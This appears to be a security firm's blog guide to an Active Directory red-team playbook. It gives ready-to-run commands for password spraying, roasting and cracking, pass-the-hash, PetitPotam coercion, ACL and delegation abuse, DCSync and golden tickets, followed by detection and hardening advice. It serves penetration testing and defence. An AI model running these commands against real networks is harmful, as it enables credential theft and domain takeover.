Active Directory remains the backbone of identity and access management for the overwhelming majority of enterprise environments, which makes it the single most valuable target in nearly every internal red team engagement. A well-structured AD attack playbook moves methodically from initial enumeration through privilege escalation to full domain compromise, using well-understood misconfigurations that show up again and again across real environments. This guide walks through that progression with the commands and techniques used in professional engagements. This is the same methodical approach the red team at Sagefox Cybersecurity follows during authorized internal Active Directory assessments.
Starting Point: Initial Enumeration Without Credentials
Identifying Domain Controllers and Basic Infrastructure
Before any authenticated activity, basic network reconnaissance identifies the domain controllers and core infrastructure that will anchor the rest of the engagement.
nmap -p 88,389,445,636,3268 --script ldap-rootdse 10.10.10.0/24Ports 88, 389, and 445 correspond to Kerberos, LDAP, and SMB respectively, and their presence together on a host is a strong indicator of a domain controller.
Null Session and Anonymous LDAP Enumeration
Many environments still allow limited anonymous LDAP queries, which can reveal domain structure without any valid credentials at all.
ldapsearch -x -H ldap://10.10.10.10 -b "dc=target,dc=local" -s baseIf anonymous bind succeeds, further queries can reveal domain naming context, functional levels, and sometimes even user enumeration paths.
Gaining Initial Credentials
Password Spraying Against Exposed Services
Rather than brute forcing a single account, which risks lockout, password spraying tests a small number of common passwords across many accounts, staying under most lockout thresholds.
kerbrute passwordspray -d target.local --dc 10.10.10.10 users.txt 'Winter2026!'Kerbrute is particularly effective here because failed Kerberos pre-authentication attempts do not always generate the same logging as failed SMB or LDAP binds, making this a comparatively quiet enumeration and spraying technique.
AS-REP Roasting Accounts Without Pre-Authentication
Accounts configured without Kerberos pre-authentication required are vulnerable to AS-REP roasting, where a requestable ticket can be cracked offline without any interaction that would trigger a lockout.
GetNPUsers.py target.local/ -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt -dc-ip 10.10.10.10Cracking the resulting hashes offline:
hashcat -m 18200 asrep_hashes.txt rockyou.txtEnumerating the Domain with a Foothold
Full Domain Enumeration with BloodHound
Once any valid domain credential is obtained, a full BloodHound collection provides the clearest picture of the attack paths available from that starting point.
bloodhound-python -u compromised_user -p 'Password123' -d target.local -ns 10.10.10.10 -c All --zipLoading the resulting data into the BloodHound interface and reviewing shortest paths to Domain Admins immediately highlights the most efficient escalation route available, rather than requiring manual enumeration of every group and permission individually.
Identifying Kerberoastable Service Accounts
Service accounts with a registered SPN and a weak password remain one of the most reliably exploitable misconfigurations in real environments.
GetUserSPNs.py target.local/compromised_user:Password123 -dc-ip 10.10.10.10 -request -outputfile kerberoast_hashes.txtCracking these offline follows the same pattern as AS-REP roasted hashes:
hashcat -m 13100 kerberoast_hashes.txt rockyou.txt
Lateral Movement Across the Domain
Pass-the-Hash for Credential Reuse
Where NTLM hashes have been recovered rather than plaintext passwords, pass-the-hash allows authentication without ever cracking the underlying password.
python3 psexec.py -hashes :aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99 \
target.local/administrator@10.10.10.25Overpass-the-Hash for Kerberos Authentication
Converting an NTLM hash into a usable Kerberos ticket extends lateral movement options into environments where NTLM authentication itself is restricted or monitored more heavily than Kerberos.
python3 getTGT.py target.local/administrator -hashes :5f4dcc3b5aa765d61d8327deb882cf99 -dc-ip 10.10.10.10
export KRB5CCNAME=administrator.ccacheAbusing WinRM for Remote Execution
Where an obtained credential has local administrative rights on a target, WinRM provides a reliable remote execution path with less noise than some alternative methods.
evil-winrm -i 10.10.10.25 -u administrator -H 5f4dcc3b5aa765d61d8327deb882cf99Privilege Escalation Through AD Misconfigurations
Exploiting Unconstrained Delegation
Hosts configured with unconstrained delegation cache the Kerberos TGT of any user who authenticates to them, which can be extracted directly from memory if local administrative access on that host is obtained.
python3 secretsdump.py -k -no-pass target.local/COMPUTERNAME\$@computername.target.localCombined with a coercion technique like PetitPotam, an attacker can force a domain controller to authenticate to an unconstrained delegation host, capturing its TGT and effectively compromising the entire domain.
python3 PetitPotam.py -d target.local -u compromised_user -p Password123 10.10.10.50 10.10.10.10Abusing ACL Misconfigurations
Object-level access control list misconfigurations, such as an account with GenericAll or WriteDACL rights over another user or group, frequently provide a direct escalation path once identified through BloodHound.
python3 dacledit.py -action write -rights FullControl \
-principal compromised_user -target-dn "CN=Domain Admins,CN=Users,DC=target,DC=local" \
target.local/compromised_user:Password123Exploiting Resource-Based Constrained Delegation
Where a compromised account has write access to a computer object's delegation attribute, RBCD provides a path to impersonate any user, including domain administrators, against that target system, following the same technique detailed in dedicated coverage of this specific attack path.
python3 rbcd.py -delegate-from 'ATTACKERPC$' -delegate-to 'TARGETSERVER$' \
-dc-ip 10.10.10.10 -action write target.local/compromised_user:Password123Achieving Domain Dominance
Extracting the NTDS.dit Database
Once domain administrator access is obtained, extracting the full domain credential database provides complete visibility into every account hash in the environment.
secretsdump.py -just-dc target.local/administrator@10.10.10.10Golden Ticket Creation for Persistent Access
With the krbtgt account hash extracted from NTDS.dit, a golden ticket can be forged to grant Kerberos authentication as any user, including one that does not actually exist, providing a persistence mechanism that survives normal password resets.
python3 ticketer.py -nthash <krbtgt_hash> -domain-sid <domain_sid> -domain target.local Administrator
export KRB5CCNAME=Administrator.ccacheDCSync for Ongoing Credential Access
Accounts granted replication rights over the domain, whether intentionally or through misconfiguration, can perform a DCSync operation to pull credential data directly without ever touching the domain controller's filesystem.
secretsdump.py -just-dc-user krbtgt target.local/compromised_user:Password123@10.10.10.10Documenting the Full Attack Chain for Reporting
Mapping the Path from Initial Access to Domain Dominance
A strong engagement report does not simply list individual findings in isolation. It reconstructs the full attack chain, showing exactly how an initial low-privilege foothold, often obtained through something as simple as a weak password or an AS-REP roastable account, cascaded through specific misconfigurations into complete domain compromise. This narrative is what actually drives remediation prioritization for the client, since fixing any single link in that chain would have stopped the entire path.
Prioritizing Findings by Chain Position, Not Just Severity
A misconfiguration that sits early in an exploitable chain, even if it seems minor in isolation, often deserves higher remediation priority than an isolated high-severity finding that requires several other conditions to be exploitable. This kind of chain-aware prioritization is central to how findings get communicated in engagements run through Sagefox Cybersecurity, ensuring clients fix what actually breaks the attack path rather than chasing findings in isolation.
Building Detection and Defense Alongside the Playbook
Monitoring for Kerberoasting and AS-REP Roasting Activity
Both techniques generate detectable Kerberos ticket requests that, while individually unremarkable, become suspicious in volume or when targeting accounts with unusual SPN patterns.
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enableReviewing event ID 4769 for a high volume of ticket requests using RC4 encryption, which is unusual in a modern environment defaulting to AES, is a reliable indicator of Kerberoasting activity in progress.
Restricting Unconstrained Delegation
Auditing for and removing unnecessary unconstrained delegation configurations closes one of the most impactful escalation paths available to an attacker with any foothold on a delegation-enabled host.
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegationEnforcing Tiered Administration
Separating administrative tiers so that domain administrator credentials are never used to log into lower-tier workstations significantly reduces the practical impact of lateral movement techniques like pass-the-hash, since a compromised workstation credential would never have a path to a tier-zero account in a properly segmented environment.
Common Mistakes When Running or Defending Against This Playbook
Treating Each Technique as Independent Rather Than Part of a Chain
Both attackers and defenders benefit from understanding that individual AD misconfigurations rarely matter much in isolation. The real risk comes from how they chain together, which is why a holistic assessment produces far more actionable findings than a checklist-style review of isolated settings.
Underestimating the Value of Enumeration
Rushing into exploitation without a thorough BloodHound collection and manual review often means missing a shorter, quieter path to the same objective. Time spent on enumeration consistently pays off in a cleaner, more efficient engagement.
Ignoring Detection Opportunities During Testing
A red team engagement that focuses purely on achieving domain compromise without documenting what should have triggered an alert along the way misses half the value of the exercise. Noting where detection gaps existed throughout the attack chain is just as important as the compromise itself.
Key Takeaways
Active Directory compromise rarely stems from a single dramatic vulnerability. It is almost always the product of several individually modest misconfigurations, weak service account passwords, excessive delegation, loose ACLs, chained together into a complete path from initial foothold to domain dominance. A structured playbook moving from enumeration through credential access, lateral movement, and privilege escalation reflects how real compromises actually unfold, and understanding that full chain is what makes findings actionable for the organizations being tested.
If your organization wants a thorough Active Directory assessment that maps your actual attack paths rather than a checklist review of isolated settings, the team at Sagefox Cybersecurity can help identify and close the chain before an attacker finds it.
